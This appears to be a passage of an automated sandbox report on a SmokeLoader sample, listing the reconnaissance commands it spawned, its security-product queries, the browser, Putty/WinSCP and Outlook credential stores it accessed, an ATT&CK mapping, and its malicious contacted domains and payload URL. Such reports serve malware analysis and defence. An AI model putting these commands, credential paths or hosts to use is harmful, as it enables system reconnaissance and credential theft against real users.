Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net accounts /domain	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net share	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 accounts /domain
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 share
Source: C:\Windows\System32\net.exe	Process created: unknown unknown

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv			Jump to behavior

Source: explorer.exe, 00000001.00000000.1714214709.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1711363361.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1712382332.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1711363361.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1711147708.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1711363361.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1711363361.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_027A55EB cpuid

13_2_027A55EB

Source: C:\Users\user\AppData\Local\Temp\B972.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\B972.exe

Code function: 9_2_00007FF6F2D69224 GetSystemTimeAsFileTime,WaitForSingleObject,GetSystemTimeAsFileTime,TerminateProcess,WaitForSingleObject,GetExitCodeProcess,

9_2_00007FF6F2D69224

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_02752198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

13_2_02752198

Source: C:\Users\user\AppData\Local\Temp\B972.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Source: B972.exe, 00000009.00000003.3108131129.000002342E5FE000.00000004.00000020.00020000.00000000.sdmp, B972.exe, 00000009.00000003.3468731597.000002342E608000.00000004.00000020.00020000.00000000.sdmp, B972.exe, 00000009.00000003.3467979736.000002342E5FE000.00000004.00000020.00020000.00000000.sdmp, B972.exe, 00000009.00000002.4124068807.000002342E5FA000.00000004.00000020.00020000.00000000.sdmp, B972.exe, 00000009.00000003.3106981465.000002342E5F5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiSpywareProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM FirewallProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiSpywareProduct

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	522 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	Login Hook	Login Hook	1 Software Packing	NTDS	891 Security Software Discovery	Distributed Component Object Model	11 Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	34 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	34 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	522 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ctMI3TYXpX.exe	29%	ReversingLabs
ctMI3TYXpX.exe	39%	Virustotal		Browse
ctMI3TYXpX.exe	100%	Avira	HEUR/AGEN.1310247
ctMI3TYXpX.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\jghruer	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\hdhruer	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Local\Temp\35DB.exe	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Local\Temp\B972.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jghruer	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hdhruer	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\35DB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jghruer	29%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
ninjahallnews.com	23.145.40.168	true	true	unknown
nwgrus.ru	180.75.11.133	true	true	unknown
globalviewsnature.com	23.145.40.113	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://23.145.40.164/ksa9104.exe	true	unknown
https://ninjahallnews.com/search.php	true	unknown
https://fallhandbat.com/search.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
http://schemas.mi	explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com/earch.php	explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com/search.phpMozilla/5.0	explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2708231092.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4124446936.0000000002847000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4124446551.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4124735208.0000000003287000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.4124374617.0000000000588000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ninjahallnews.com/search.php(	explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://excel.office.com	explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000001.00000000.1714950006.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1713787801.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1713291422.0000000007F40000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com:443/search.phpge	explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/q	explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1716416454.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1716416454.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://word.office.com	explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false		unknown
https://ninjahallnews.com/	explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2750919806.0000000002DDC000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ninjahallnews.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 0000000D.00000002.2750919806.0000000002DC4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micr	explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
